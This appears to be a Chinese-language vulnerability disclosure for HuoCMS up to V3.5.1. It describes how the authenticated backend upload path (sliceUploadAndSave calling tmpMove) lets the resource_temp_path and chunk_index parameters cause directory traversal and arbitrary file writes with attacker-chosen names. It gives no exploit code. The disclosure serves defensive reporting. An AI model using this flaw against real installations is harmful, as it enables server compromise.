Upload.php
HuoCMS - <=V3.5.1
在 AttachmentController.php（位于 app -> controller -> backend 下）的 sliceUploadAndSave 方法中，resource_type 参数会根据允许的文件扩展名白名单（例如 txt、png 等）进行校验。随后，该方法调用 Upload.php（位于 app -> service -> upload 下）中的 tmpMove。
tmpMove 方法首先创建一个文件。然而，$filename 参数（由用户可控的 resource_temp_path 输入参数控制）可被利用进行目录遍历（例如使用 ../）来创建文件夹。该方法随后执行移动操作，将文件放入所创建的目录中。最终文件名通过追加下划线和 $pos 后缀生成，其中 $pos 由调用时传入的 chunk_index 参数控制（详情请参考实际参数传递方式）。
这造成了一个漏洞，攻击者可以操纵 resource_temp_path 和 chunk_index 将文件写入任意位置并控制文件名。
详情:
app >controller >backend > AttachmentController.php：sliceUploadAndSave
app >service >upload > Upload.php：tmpMove
该漏洞属于后台问题，需要登录后台并携带 token 才能调用。请自行搭建并登录。
